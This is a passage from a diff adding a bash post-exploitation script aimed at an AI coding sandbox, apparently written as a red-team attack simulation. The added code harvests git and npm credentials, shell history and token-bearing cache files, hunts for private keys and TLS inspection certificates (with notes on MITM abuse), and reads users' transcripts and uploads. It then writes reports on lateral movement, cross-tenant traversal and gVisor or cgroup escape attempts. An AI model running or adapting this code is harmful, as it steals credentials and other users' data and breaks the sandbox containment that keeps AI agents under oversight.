+ echo "[-] /root/.config not accessible"
1541
+ fi
1542
+
1543
+ # /root/.cache - Cached data
1544
+ echo ""
1545
+ echo "=== /root/.cache (Cached Data) ==="
1546
+ if [ -d /root/.cache ]; then
1547
+ ls -la /root/.cache/
1548
+ du -sh /root/.cache/* 2>/dev/null
1549
+
1550
+ # Look for pip/npm caches (could contain downloaded packages)
1551
+ if [ -d /root/.cache/pip ]; then
1552
+ echo ""
1553
+ echo "[*] pip cache:"
1554
+ ls -la /root/.cache/pip/ 2>/dev/null | head -10
1555
+ fi
1556
+
1557
+ # Look for cached credentials
1558
+ grep -r -i "token\|key\|secret" /root/.cache/ 2>/dev/null | head -10
1559
+ else
1560
+ echo "[-] /root/.cache not accessible"
1561
+ fi
1562
+
1563
+ # /home/claude hidden dirs
1564
+ echo ""
1565
+ echo "=== /home/claude Hidden Directories ==="
1566
+ ls -la /home/claude/.[!.]* 2>/dev/null
1567
+
1568
+ # Check .npm for tokens
1569
+ echo ""
1570
+ echo "[*] /home/claude/.npmrc (npm tokens):"
1571
+ cat /home/claude/.npmrc 2>/dev/null
1572
+
1573
+ # Check .config
1574
+ echo ""
1575
+ echo "[*] /home/claude/.config/:"
1576
+ ls -la /home/claude/.config/ 2>/dev/null
1577
+
1578
+ # Check for git credentials
1579
+ echo ""
1580
+ echo "[*] Git credentials:"
1581
+ cat /home/claude/.gitconfig 2>/dev/null
1582
+ cat /home/claude/.git-credentials 2>/dev/null
1583
+ cat /root/.gitconfig 2>/dev/null
1584
+ cat /root/.git-credentials 2>/dev/null
1585
+
1586
+ # Check for shell history
1587
+ echo ""
1588
+ echo "[*] Shell history:"
1589
+ cat /root/.bash_history 2>/dev/null | tail -50
1590
+ cat /home/claude/.bash_history 2>/dev/null | tail -50
1591
+ HIDDEN_SCRIPT
1592
+ )
1593
+ GVISOR_ESCAPE_RESULTS="$GVISOR_ESCAPE_RESULTS\n$HIDDEN_DIR_EXTRACT"
1594
+
1595
+ # Test 7: Anthropic Certificate Analysis
1596
+ CERT_ANALYSIS=$(cat << 'CERT_SCRIPT' | bash 2>&1
1597
+ #!/bin/bash
1598
+ echo ""
1599
+ echo "=== ANTHROPIC CERTIFICATE ANALYSIS ==="
1600
+ echo ""
1601
+
1602
+ # Find Anthropic-specific certificates
1603
+ echo "[*] Anthropic TLS Inspection Certificates Found:"
1604
+ find /etc/ssl/certs -name "*swp*" -o -name "*anthropic*" 2>/dev/null | while read cert; do
1605
+ echo ""
1606
+ echo "=== $cert ==="
1607
+
1608
+ # Parse certificate details
1609
+ openssl x509 -in "$cert" -noout -subject -issuer -dates 2>/dev/null
1610
+
1611
+ echo ""
1612
+ echo "[*] Full certificate:"
1613
+ cat "$cert"
1614
+ done
1615
+
1616
+ # What can we do with these?
1617
+ echo ""
1618
+ echo "=== POTENTIAL CERTIFICATE ABUSE ==="
1619
+ echo ""
1620
+ echo "[!] These are Anthropic's TLS inspection CA certificates."
1621
+ echo "[!] They are used to MITM all HTTPS traffic from the sandbox."
1622
+ echo ""
1623
+ echo "Attack vectors:"
1624
+ echo "1. If we had the PRIVATE KEY, we could:"
1625
+ echo " - Decrypt all intercepted traffic"
1626
+ echo " - Create fake certificates for any domain"
1627
+ echo " - MITM other sandbox users"
1628
+ echo ""
1629
+ echo "2. With just the public certs, we can:"
1630
+ echo " - Understand Anthropic's proxy architecture"
1631
+ echo " - Identify the signing chain"
1632
+ echo " - Potentially find misconfigurations"
1633
+ echo ""
1634
+
1635
+ # Check if private keys exist anywhere
1636
+ echo "[*] Searching for private keys..."
1637
+ find / -name "*.key" -o -name "*private*" 2>/dev/null | grep -v "/proc\|/sys" | while read keyfile; do
1638
+ if [ -r "$keyfile" ] && grep -q "PRIVATE KEY" "$keyfile" 2>/dev/null; then
1639
+ echo "[!!!] PRIVATE KEY FOUND: $keyfile"
1640
+ head -5 "$keyfile"
1641
+ fi
1642
+ done
1643
+
1644
+ # Check for key files in common locations
1645
+ echo ""
1646
+ echo "[*] Checking common private key locations..."
1647
+ ls -la /etc/ssl/private/ 2>/dev/null
1648
+ ls -la /etc/pki/tls/private/ 2>/dev/null
1649
+ CERT_SCRIPT
1650
+ )
1651
+ GVISOR_ESCAPE_RESULTS="$GVISOR_ESCAPE_RESULTS\n$CERT_ANALYSIS"
1652
+
1653
+ # Test 8: User transcript/data extraction
1654
+ USER_DATA_EXTRACT=$(cat << 'USERDATA_SCRIPT' | bash 2>&1
1655
+ #!/bin/bash
1656
+ echo ""
1657
+ echo "=== USER DATA EXTRACTION (IMPACT DEMONSTRATION) ==="
1658
+ echo ""
1659
+
1660
+ # This shows what a malicious package could steal
1661
+ echo "[*] Checking accessible user data directories..."
1662
+
1663
+ echo ""
1664
+ echo "=== /mnt/transcripts (Conversation History) ==="
1665
+ if [ -d /mnt/transcripts ]; then
1666
+ echo "[!] TRANSCRIPTS DIRECTORY ACCESSIBLE!"
1667
+ ls -la /mnt/transcripts/ 2>&1 | head -20
1668
+ echo ""
1669
+ echo "[*] Sample transcript content:"
1670
+ find /mnt/transcripts -type f -name "*.json" 2>/dev/null | head -1 | xargs cat 2>/dev/null | head -50
1671
+ fi
1672
+
1673
+ echo ""
1674
+ echo "=== /mnt/user-data/uploads (User Uploads) ==="
1675
+ if [ -d /mnt/user-data/uploads ]; then
1676
+ echo "[!] UPLOADS DIRECTORY ACCESSIBLE!"
1677
+ ls -la /mnt/user-data/uploads/ 2>&1 | head -20
1678
+ echo ""
1679
+ echo "[*] File types uploaded:"
1680
+ find /mnt/user-data/uploads -type f 2>/dev/null | xargs file 2>/dev/null | head -20
1681
+ fi
1682
+
1683
+ echo ""
1684
+ echo "=== /mnt/user-data/tool_results (Tool Results) ==="
1685
+ if [ -d /mnt/user-data/tool_results ]; then
1686
+ echo "[!] TOOL RESULTS ACCESSIBLE!"
1687
+ ls -la /mnt/user-data/tool_results/ 2>&1 | head -20
1688
+ fi
1689
+
1690
+ echo ""
1691
+ echo "=== Workspace Contents ==="
1692
+ WORKSPACE=$(find /home -maxdepth 3 -type d -name ".git" 2>/dev/null | head -1 | xargs dirname 2>/dev/null)
1693
+ if [ -n "$WORKSPACE" ]; then
1694
+ echo "[!] Found workspace at: $WORKSPACE"
1695
+ ls -la "$WORKSPACE" 2>&1 | head -20
1696
+ fi
1697
+ USERDATA_SCRIPT
1698
+ )
1699
+ GVISOR_ESCAPE_RESULTS="$GVISOR_ESCAPE_RESULTS\n$USER_DATA_EXTRACT"
1700
+
1701
+ # ═══════════════════════════════════════════════════════════════════════════
1702
+ # GENERATE REPORTS
1703
+ # ═══════════════════════════════════════════════════════════════════════════
1704
+
1705
+ # JSON Report
1706
+ cat > "$RESULTS" << EOF
1707
+ {
1708
+ "scan_metadata": {
1709
+ "timestamp": "$(date -Iseconds)",
1710
+ "our_ip": "$OUR_IP",
1711
+ "org_uuid": "$ORG_UUID"
1712
+ },
1713
+ "lateral_movement": {
1714
+ "other_containers_found": "$(echo -e "$OTHER_CONTAINERS" | tr '\n' ' ')",
1715
+ "other_proxies_found": "$(echo -e "$OTHER_PROXIES" | tr '\n' ' ')",
1716
+ "vulnerable_targets": "$(echo -e "$VULNERABLE_TARGETS" | tr '\n' ' ')"
1717
+ },
1718
+ "container_escape": {
1719
+ "privileged_indicators": "$PRIVILEGED_CHECK",
1720
+ "runtime_sockets": "$(echo -e "$RUNTIME_SOCKETS" | tr '\n' ' ')",
1721
+ "host_mounts": "$(echo -e "$HOST_MOUNTS" | tr '\n' ' ')",
1722
+ "cgroup_escape": "$CGROUP_ESCAPE",
1723
+ "cgroup_escape_attempt": $(echo "$CGROUP_ESCAPE_RESULT" | python3 -c "import sys,json; print(json.dumps(sys.stdin.read()))" 2>/dev/null || echo '""'),
1724
+ "capabilities": "$CAP_DECODE",
1725
+ "sysadmin_exploits": $(echo -e "$SYSADMIN_EXPLOITS" | python3 -c "import sys,json; print(json.dumps(sys.stdin.read()))" 2>/dev/null || echo '""')
1726
+ },
1727
+ "credential_harvest": {
1728
+ "data": $(echo -e "$CRED_HARVEST" | python3 -c "import sys,json; print(json.dumps(sys.stdin.read()))" 2>/dev/null || echo '""')
1729
+ },
1730
+ "cross_tenant": {
1731
+ "filestore_traversal": $(echo -e "$FILESTORE_EXPLOIT" | python3 -c "import sys,json; print(json.dumps(sys.stdin.read()))" 2>/dev/null || echo '""'),
1732
+ "filesystem_id": "$FILESYSTEM_ID"
1733
+ },
1734
+ "gvisor_escape_attempts": {
1735
+ "fuse_test": "See raw log",
1736
+ "ptrace_extraction": "See raw log",
1737
+ "file_permission_bugs": "See raw log",
1738
+ "user_data_extraction": "See raw log",
1739
+ "full_results": $(echo -e "$GVISOR_ESCAPE_RESULTS" | python3 -c "import sys,json; print(json.dumps(sys.stdin.read()))" 2>/dev/null || echo '""')
1740
+ }
1741
+ }
1742
+ EOF
1743
+
1744
+ # HTML Report
1745
+ cat > "$HTML_REPORT" << 'HTMLHEADER'
1746
+ <!DOCTYPE html>
1747
+ <html lang="en">
1748
+ <head>
1749
+ <meta charset="UTF-8">
1750
+ <title>Post-Exploitation Report</title>
1751
+ <style>
1752
+ :root { --bg: #0d1117; --card: #161b22; --border: #30363d; --text: #c9d1d9; --blue: #58a6ff; --red: #f85149; --green: #3fb950; --orange: #d29922; --purple: #a371f7; }
1753
+ * { box-sizing: border-box; margin: 0; padding: 0; }
1754
+ body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif; background: var(--bg); color: var(--text); padding: 2rem; line-height: 1.6; }
1755
+ .container { max-width: 1200px; margin: 0 auto; }
1756
+ .header { text-align: center; padding: 2rem; background: linear-gradient(135deg, #f8514920, #a371f720); border: 2px solid var(--purple); border-radius: 12px; margin-bottom: 2rem; }
1757
+ .header h1 { color: var(--purple); }
1758
+ .badge { display: inline-block; background: var(--red); color: white; padding: 0.5rem 1rem; border-radius: 20px; font-weight: bold; margin: 1rem 0; }
1759
+ .card { background: var(--card); border: 1px solid var(--border); border-radius: 8px; padding: 1.5rem; margin-bottom: 1.5rem; }
1760
+ .card h2 { color: var(--blue); border-bottom: 1px solid var(--border); padding-bottom: 0.5rem; margin-bottom: 1rem; }
1761
+ .critical { border-left: 4px solid var(--red); }
1762
+ .warning { border-left: 4px solid var(--orange); }
1763
+ .success { border-left: 4px solid var(--green); }
1764
+ .info { border-left: 4px solid var(--blue); }
1765
+ pre { background: #0d1117; border: 1px solid var(--border); border-radius: 6px; padding: 1rem; overflow-x: auto; font-size: 0.85rem; white-space: pre-wrap; word-wrap: break-word; }
1766
+ code { background: #0d1117; padding: 0.2rem 0.4rem; border-radius: 4px; }
1767
+ table { width: 100%; border-collapse: collapse; }
1768
+ th, td { padding: 0.75rem; text-align: left; border-bottom: 1px solid var(--border); }
1769
+ th { color: var(--blue); }
1770
+ .vuln { color: var(--red); font-weight: bold; }
1771
+ .safe { color: var(--green); }
1772
+ .footer { text-align: center; padding: 2rem; color: #8b949e; border-top: 1px solid var(--border); margin-top: 2rem; }
1773
+ </style>
1774
+ </head>
1775
+ <body>
1776
+ <div class="container">
1777
+ <div class="header">
1778
+ <h1>⚔️ Post-Exploitation Report</h1>
1779
+ <p>Claude Code Sandbox - Lateral Movement & Escape Analysis</p>
1780
+ <div class="badge">ATTACK SIMULATION</div>
1781
+ HTMLHEADER
1782
+
1783
+ cat >> "$HTML_REPORT" << EOF
1784
+ <p style="color: #8b949e; margin-top: 1rem;">Generated: $(date '+%Y-%m-%d %H:%M:%S UTC')</p>
1785
+ <p style="color: #8b949e;">Our IP: $OUR_IP | Org: $ORG_UUID</p>
1786
+ </div>
1787
+
1788
+ <div class="card critical">
1789
+ <h2>🎯 Stage 2: Lateral Movement - Other Containers</h2>
1790
+ <h3>Containers with process_api (port 2024):</h3>
1791
+ <pre>$(echo -e "$OTHER_CONTAINERS")</pre>
1792
+ <h3 style="margin-top: 1rem;">WebSocket-Vulnerable Targets:</h3>
1793
+ <pre>$(echo -e "$VULNERABLE_TARGETS")</pre>
1794
+ <h3 style="margin-top: 1rem;">Other Proxies Found (port 15004):</h3>
1795
+ <pre>$(echo -e "$OTHER_PROXIES")</pre>
1796
+ </div>
1797
+
1798
+ <div class="card warning">
1799
+ <h2>🔀 Stage 3: Lateral Movement Results</h2>
1800
+ <pre>$(echo -e "$LATERAL_RESULTS")</pre>
1801
+ </div>
1802
+
1803
+ <div class="card critical">
1804
+ <h2>🗄️ Stage 4: Filestore Cross-Tenant Exploitation</h2>
1805
+ <p><strong>Filesystem ID:</strong> <code>$FILESYSTEM_ID</code></p>
1806
+ <h3 style="margin-top: 1rem;">Path Traversal Results:</h3>
1807
+ <pre>$(echo -e "$FILESTORE_EXPLOIT")</pre>
1808
+ </div>
1809
+
1810
+ <div class="card critical">
1811
+ <h2>🚀 Stage 5: Container Escape Attempts</h2>
1812
+ <table>
1813
+ <tr><th>Check</th><th>Result</th></tr>
1814
+ <tr><td>Privileged Mode Indicators</td><td class="$([ -n "$PRIVILEGED_CHECK" ] && echo "vuln" || echo "safe")">$([ -n "$PRIVILEGED_CHECK" ] && echo "$PRIVILEGED_CHECK" || echo "Not privileged")</td></tr>
1815
+ <tr><td>Container Runtime Sockets</td><td class="$([ -n "$RUNTIME_SOCKETS" ] && echo "vuln" || echo "safe")">$([ -n "$RUNTIME_SOCKETS" ] && echo "FOUND!" || echo "Not found")</td></tr>
1816
+ <tr><td>Host Mount Points</td><td class="$([ -n "$HOST_MOUNTS" ] && echo "vuln" || echo "safe")">$([ -n "$HOST_MOUNTS" ] && echo "FOUND!" || echo "Not found")</td></tr>
1817
+ <tr><td>Cgroup Escape</td><td class="$([ -n "$CGROUP_ESCAPE" ] && echo "vuln" || echo "safe")">$([ -n "$CGROUP_ESCAPE" ] && echo "$CGROUP_ESCAPE" || echo "Not vulnerable")</td></tr>
1818
+ </table>
1819
+ <h3 style="margin-top: 1rem;">Capabilities:</h3>
1820
+ <pre>$CAPS
1821
+
1822
+ Decoded: $CAP_DECODE</pre>
1823
+ <h3 style="margin-top: 1rem;">Runtime Sockets Detail:</h3>
1824
+ <pre>$(echo -e "$RUNTIME_SOCKETS")</pre>
1825
+ <h3 style="margin-top: 1rem;">Host Mounts Detail:</h3>
1826
+ <pre>$(echo -e "$HOST_MOUNTS")</pre>
1827
+ <h3 style="margin-top: 1rem; color: var(--red);">🔥 Cgroup Escape Attempt:</h3>
1828
+ <pre>$CGROUP_ESCAPE_RESULT</pre>
1829
+ </div>
1830
+
1831
+ <div class="card critical">
1832
+ <h2>⚡ Stage 5B: CAP_SYS_ADMIN Exploitation</h2>
1833
+ <pre>$(echo -e "$SYSADMIN_EXPLOITS")</pre>
1834
+ </div>
1835
+
1836
+ <div class="card critical">
1837
+ <h2>🔑 Stage 5C: Credential Harvesting</h2>
1838
+ <pre style="max-height: 600px; overflow-y: auto;">$(echo -e "$CRED_HARVEST")</pre>
1839
+ </div>
1840
+
1841
+ <div class="card warning">
1842
+ <h2>🌐 Stage 6: Internal API Exploitation</h2>
1843
+ <pre>$(echo -e "$INTERNAL_API_RESULTS")</pre>
1844
+ </div>
1845
+
1846
+ <div class="card critical">
1847
+ <h2>⚡ Stage 7: process_api WebSocket Exploitation</h2>
1848
+ <pre>$PROCESS_API_EXPLOIT</pre>
1849
+ </div>
1850
+
1851
+ <div class="card critical">
1852
+ <h2>🎯 Stage 8: gVisor Escape Attempts (Data Extraction)</h2>
1853
+ <p><em>Focus: FUSE escape, Ptrace data extraction, File permission bugs (CVE-2025-2713), User data theft</em></p>
1854
+ <pre>$(echo -e "$GVISOR_ESCAPE_RESULTS")</pre>
1855
+ </div>
1856
+
1857
+ <div class="card info">
1858
+ <h2>📋 Summary</h2>
1859
+ <table>
1860
+ <tr><th>Attack Vector</th><th>Status</th><th>Impact</th></tr>
1861
+ <tr><td>Other Containers Found</td><td>$(echo -e "$OTHER_CONTAINERS" | grep -c .)</td><td>Lateral movement targets</td></tr>
1862
+ <tr><td>Other Proxies Found</td><td>$(echo -e "$OTHER_PROXIES" | grep -c .)</td><td>Potential credential reuse</td></tr>
1863
+ <tr><td>Filestore Traversal</td><td>$([ -n "$FILESTORE_EXPLOIT" ] && echo "Responses received" || echo "No response")</td><td>Cross-tenant data access</td></tr>
1864
+ <tr><td>Container Escape</td><td>$([ -n "$PRIVILEGED_CHECK$RUNTIME_SOCKETS$HOST_MOUNTS" ] && echo "Vectors found!" || echo "Sandboxed")</td><td>Host compromise</td></tr>
1865
+ <tr><td>process_api Exploit</td><td>$([ -n "$PROCESS_API_EXPLOIT" ] && echo "Tested" || echo "Failed")</td><td>Privilege escalation</td></tr>
1866
+ <tr><td>gVisor Escape (FUSE/Ptrace)</td><td>$([ -n "$GVISOR_ESCAPE_RESULTS" ] && echo "Tested" || echo "Not run")</td><td>Container escape / Data extraction</td></tr>
1867
+ </table>
1868
+ </div>
1869
+
1870
+ <div class="footer">
1871
+ <p>Post-exploitation simulation complete</p>
1872
+ <p>For responsible disclosure: security@anthropic.com</p>
1873
+ </div>
1874
+ </div>
1875
+ </body>
1876
+ </html>
1877
+ EOF
1878
+
1879
+ # Raw Log
1880
+ {
1881
+ echo "═══════════════════════════════════════════════════════════════"
1882
+ echo " POST-EXPLOITATION LOG"
1883
+ echo " Generated: $(date)"
1884
+ echo " Our IP: $OUR_IP | Org: $ORG_UUID"
1885
+ echo "═══════════════════════════════════════════════════════════════"
1886
+ echo ""
1887
+ echo "=== STAGE 2: OTHER CONTAINERS (port 2024) ==="
1888
+ echo -e "$OTHER_CONTAINERS"
1889
+ echo ""
1890
+ echo "=== VULNERABLE WEBSOCKET TARGETS ==="
1891
+ echo -e "$VULNERABLE_TARGETS"
1892
+ echo ""
1893
+ echo "=== OTHER PROXIES (port 15004) ==="
1894
+ echo -e "$OTHER_PROXIES"
1895
+ echo ""
1896
+ echo "=== STAGE 3: LATERAL MOVEMENT RESULTS ==="
1897
+ echo -e "$LATERAL_RESULTS"
1898
+ echo ""
1899
+ echo "=== STAGE 4: FILESTORE TRAVERSAL ==="
1900
+ echo "Filesystem ID: $FILESYSTEM_ID"
1901
+ echo -e "$FILESTORE_EXPLOIT"
1902
+ echo ""
1903
+ echo "=== STAGE 5: CONTAINER ESCAPE ==="
1904
+ echo "Privileged: $PRIVILEGED_CHECK"
1905
+ echo "Runtime Sockets: $RUNTIME_SOCKETS"
1906
+ echo "Host Mounts: $HOST_MOUNTS"
1907
+ echo "Cgroup Escape: $CGROUP_ESCAPE"
1908
+ echo "Capabilities: $CAPS"
1909
+ echo "Decoded: $CAP_DECODE"
1910
+ echo ""
1911
+ echo "=== CGROUP ESCAPE ATTEMPT ==="
1912
+ echo "$CGROUP_ESCAPE_RESULT"
1913
+ echo ""
1914
+ echo "=== STAGE 5B: CAP_SYS_ADMIN EXPLOITATION ==="
1915
+ echo -e "$SYSADMIN_EXPLOITS"
1916
+ echo ""
1917
+ echo "=== STAGE 5C: CREDENTIAL HARVESTING ==="
1918
+ echo -e "$CRED_HARVEST"
1919
+ echo ""
1920
+ echo "=== STAGE 6: INTERNAL API ==="
1921
+ echo -e "$INTERNAL_API_RESULTS"
1922
+ echo ""
1923
+ echo "=== STAGE 7: PROCESS_API EXPLOIT ==="
1924
+ echo "$PROCESS_API_EXPLOIT"
1925
+ echo ""
1926
+ echo "=== STAGE 8: gVISOR ESCAPE ATTEMPTS (NO CRASH) ==="
1927
+ echo -e "$GVISOR_ESCAPE_RESULTS"
1928
+ } > "$RAW_LOG"